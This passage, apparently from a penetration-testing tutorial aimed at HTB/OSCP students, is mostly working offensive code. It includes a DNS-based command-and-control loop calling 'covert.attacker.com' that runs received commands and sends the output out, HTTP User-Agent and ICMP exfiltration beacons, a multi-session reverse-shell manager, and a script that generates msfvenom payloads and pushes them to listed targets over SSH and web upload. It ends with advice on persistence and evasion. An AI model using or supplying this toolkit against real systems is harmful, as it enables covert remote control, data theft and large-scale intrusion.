"""Send data via DNS queries"""
encoded = base64.b64encode(data.encode()).decode()
# Split into DNS-safe chunks
chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
for i, chunk in enumerate(chunks):
query = f"{i:03d}.{chunk}.{domain}"
try:
dns.resolver.resolve(query, 'A')
except:
pass
time.sleep(1)
def receive_commands(domain):
"""Receive commands via DNS TXT records"""
while True:
try:
result = dns.resolver.resolve(f"cmd.{domain}", 'TXT')
for txt in result:
command = base64.b64decode(str(txt).strip('"')).decode()
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
send_data(output.decode(), domain)
except:
pass
time.sleep(60)
# Usage
receive_commands("covert.attacker.com")
EOF
# HTTP steganography covert channel
cat > http_steganography.py << 'EOF'
#!/usr/bin/env python3
import requests
import base64
import time
def hide_in_user_agent(data):
"""Hide data in User-Agent string"""
legitimate_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
]
# Embed data in User-Agent
agent = legitimate_agents[0]
encoded_data = base64.b64encode(data.encode()).decode()
# Hide in version number
modified_agent = agent.replace("537.36", f"537.{encoded_data[:6]}")
return modified_agent
def covert_beacon():
"""Send periodic beacons with hidden data"""
while True:
try:
# Get system info
import platform
info = f"{platform.node()}:{platform.system()}"
headers = {"User-Agent": hide_in_user_agent(info)}
requests.get("http://legitimate-site.com", headers=headers, timeout=5)
except:
pass
time.sleep(300) # 5 minute intervals
covert_beacon()
EOF
# ICMP covert channel
cat > icmp_covert.py << 'EOF'
#!/usr/bin/env python3
import socket
import struct
import base64
import subprocess
def create_icmp_packet(data):
"""Create ICMP packet with hidden data"""
# ICMP header
icmp_type = 8 # Echo request
icmp_code = 0
icmp_checksum = 0
icmp_id = 12345
icmp_seq = 1
# Hide data in ICMP payload
payload = base64.b64encode(data.encode()).decode().encode()
# Pack ICMP header
icmp_header = struct.pack('!BBHHH', icmp_type, icmp_code, icmp_checksum, icmp_id, icmp_seq)
packet = icmp_header + payload
return packet
def send_covert_icmp(target, data):
"""Send data via ICMP packets"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
packet = create_icmp_packet(data)
sock.sendto(packet, (target, 0))
sock.close()
except:
pass
# Usage
send_covert_icmp("attacker.com", "System compromised")
EOF
# Why covert channels are advanced techniques:
# - Extremely difficult to detect without deep analysis
# - Uses legitimate protocols and services
# - Provides plausible deniability
# - Bypasses most network monitoring systems
# - Enables long-term persistent communication
Reverse Shell Automation and Management
What automation provides: Frameworks and scripts for managing multiple reverse shells, automating deployment, and handling large-scale operations.
# Multi-shell management script
cat > shell_manager.py << 'EOF'
#!/usr/bin/env python3
import socket
import threading
import time
import subprocess
class ShellManager:
def __init__(self):
self.shells = {}
self.listeners = {}
def create_listener(self, port):
"""Create listener on specified port"""
def handle_connection(conn, addr, port):
print(f"[+] Shell connected from {addr[0]}:{addr[1]} on port {port}")
self.shells[f"{addr[0]}:{addr[1]}"] = {
'connection': conn,
'address': addr,
'port': port,
'active': True
}
while self.shells[f"{addr[0]}:{addr[1]}"]['active']:
try:
data = conn.recv(1024).decode()
if not data:
break
print(f"[{addr[0]}:{addr[1]}] {data.strip()}")
except:
break
conn.close()
del self.shells[f"{addr[0]}:{addr[1]}"]
print(f"[-] Shell from {addr[0]}:{addr[1]} disconnected")
def listener_thread(port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', port))
sock.listen(5)
print(f"[*] Listening on port {port}")
while True:
conn, addr = sock.accept()
threading.Thread(target=handle_connection, args=(conn, addr, port)).start()
thread = threading.Thread(target=listener_thread, args=(port,))
thread.daemon = True
thread.start()
self.listeners[port] = thread
def send_command(self, target, command):
"""Send command to specific shell"""
if target in self.shells:
try:
self.shells[target]['connection'].send(f"{command}\n".encode())
except:
print(f"[-] Failed to send command to {target}")
def broadcast_command(self, command):
"""Send command to all active shells"""
for target in self.shells:
self.send_command(target, command)
def list_shells(self):
"""List all active shells"""
print("\nActive Shells:")
print("-" * 40)
for target, info in self.shells.items():
print(f"{target} (Port: {info['port']})")
def interactive_shell(self, target):
"""Start interactive session with specific shell"""
if target not in self.shells:
print(f"[-] Shell {target} not found")
return
print(f"[*] Starting interactive session with {target}")
print("[*] Type 'exit' to return to shell manager")
while True:
try:
command = input(f"{target}$ ")
if command.lower() == 'exit':
break
self.send_command(target, command)
time.sleep(0.5) # Allow time for response
except KeyboardInterrupt:
break
# Usage example
manager = ShellManager()
manager.create_listener(4444)
manager.create_listener(4445)
manager.create_listener(4446)
# Simple command interface
while True:
try:
cmd = input("ShellManager> ").strip().split()
if not cmd:
continue
if cmd[0] == 'list':
manager.list_shells()
elif cmd[0] == 'broadcast' and len(cmd) > 1:
manager.broadcast_command(' '.join(cmd[1:]))
elif cmd[0] == 'interact' and len(cmd) > 1:
manager.interactive_shell(cmd[1])
elif cmd[0] == 'send' and len(cmd) > 2:
manager.send_command(cmd[1], ' '.join(cmd[2:]))
elif cmd[0] == 'help':
print("Commands: list, broadcast <cmd>, interact <target>, send <target> <cmd>")
elif cmd[0] == 'exit':
break
except KeyboardInterrupt:
break
EOF
# Automated payload deployment script
cat > deploy_payloads.sh << 'EOF'
#!/bin/bash
# Configuration
LHOST="192.168.1.5"
PORTS=(4444 4445 4446 4447)
TARGETS_FILE="targets.txt"
# Generate payloads for different platforms
generate_payloads() {
echo "[+] Generating payloads..."
mkdir -p payloads
# Windows payloads
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o payloads/windows_shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=4445 -f exe -o payloads/windows_meterpreter.exe
# Linux payloads
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$LHOST LPORT=4446 -f elf -o payloads/linux_shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4447 -f elf -o payloads/linux64_shell
# Web payloads
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=4444 -f raw -o payloads/shell.php
msfvenom -p python/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f raw -o payloads/shell.py
chmod +x payloads/linux*
echo "[+] Payload generation complete"
}
# Set up listeners
setup_listeners() {
echo "[+] Setting up listeners..."
for port in "${PORTS[@]}"; do
echo "[*] Starting listener on port $port"
gnome-terminal -- bash -c "nc -lvp $port; exec bash" &
sleep 1
done
}
# Deploy payloads to targets
deploy_to_targets() {
if [ ! -f "$TARGETS_FILE" ]; then
echo "[-] Targets file not found: $TARGETS_FILE"
return
fi
while IFS= read -r target; do
echo "[+] Deploying to $target"
# Try different deployment methods
# SSH deployment
scp payloads/linux_shell "$target:/tmp/update" 2>/dev/null && \
ssh "$target" "chmod +x /tmp/update && /tmp/update &" 2>/dev/null
# HTTP deployment
curl -X POST -F "file=@payloads/shell.php" "http://$target/upload.php" 2>/dev/null
done < "$TARGETS_FILE"
}
# Main execution
generate_payloads
setup_listeners
deploy_to_targets
echo "[+] Deployment complete. Check listeners for incoming connections."
EOF
chmod +x deploy_payloads.sh
# Why automation is valuable for large operations:
# - Manages multiple simultaneous shells efficiently
# - Automates repetitive deployment tasks
# - Provides centralized command and control
# - Scales to handle numerous compromised systems
# - Reduces manual effort and human error
Reverse Shell Methodology Summary
HTB/OSCP Reverse Shell Workflow
Systematic approach for reverse shell mastery:
- Platform and Environment Assessment
- Identify target operating system and architecture
- Determine available interpreters and tools
- Assess network restrictions and firewall rules
-
Evaluate security tool presence (AV/EDR)
-
Payload Generation and Customization
- Generate appropriate payload for target platform
- Apply encoding and obfuscation techniques
- Customize payload for specific environment constraints
-
Create backup payloads with different methods
-
Delivery and Execution
- Select optimal delivery mechanism (web, email, USB, etc.)
- Execute payload on target system
- Establish initial reverse connection
-
Verify successful shell establishment
-
Shell Stabilization and Enhancement
- Upgrade basic shell to fully interactive TTY
- Configure proper terminal settings and environment
- Install additional tools and capabilities
-
Implement error handling and reconnection logic
-
Persistence and Stealth
- Establish multiple persistence mechanisms
- Implement stealth and evasion techniques
- Create backup access methods
-
Monitor for detection and adjust tactics
-
Advanced Capabilities
- Set up covert communication channels
- Implement multi-stage payload capabilities
- Deploy automated management systems
- Prepare for lateral movement and pivoting
Key Success Factors for HTB/OSCP Reverse Shells:
Technical Proficiency:
- msfvenom mastery - Essential for payload generation
- Shell stabilization - Critical for reliable access
- Cross-platform knowledge - Windows, Linux, and web applications
- Evasion techniques - Bypassing modern security controls
Operational Excellence:
- Multiple backup methods - Redundancy ensures continued access
- Stealth considerations - Avoiding detection during operations
- Automation capabilities - Managing complex multi-shell scenarios
- Persistence planning - Maintaining access across sessions
Common Reverse Shell Mistakes to Avoid:
- Relying on single payload type or delivery method
- Inadequate shell stabilization leading to session loss
- Poor operational security revealing attacker infrastructure
- Insufficient persistence mechanisms
- Neglecting evasion techniques in defended environments
Advanced Techniques for Complex Scenarios:
- Multi-stage payloads - Sophisticated delivery and capability loading
- Covert channels - Hidden communication methods
- Process injection - Advanced Windows evasion techniques
- Automated management - Large-scale operation capabilities
This reverse shell methodology provides comprehensive coverage of techniques essential for modern penetration testing. The systematic approach ensures reliable access establishment while maintaining operational security and implementing advanced capabilities required for HTB challenges and OSCP exam success.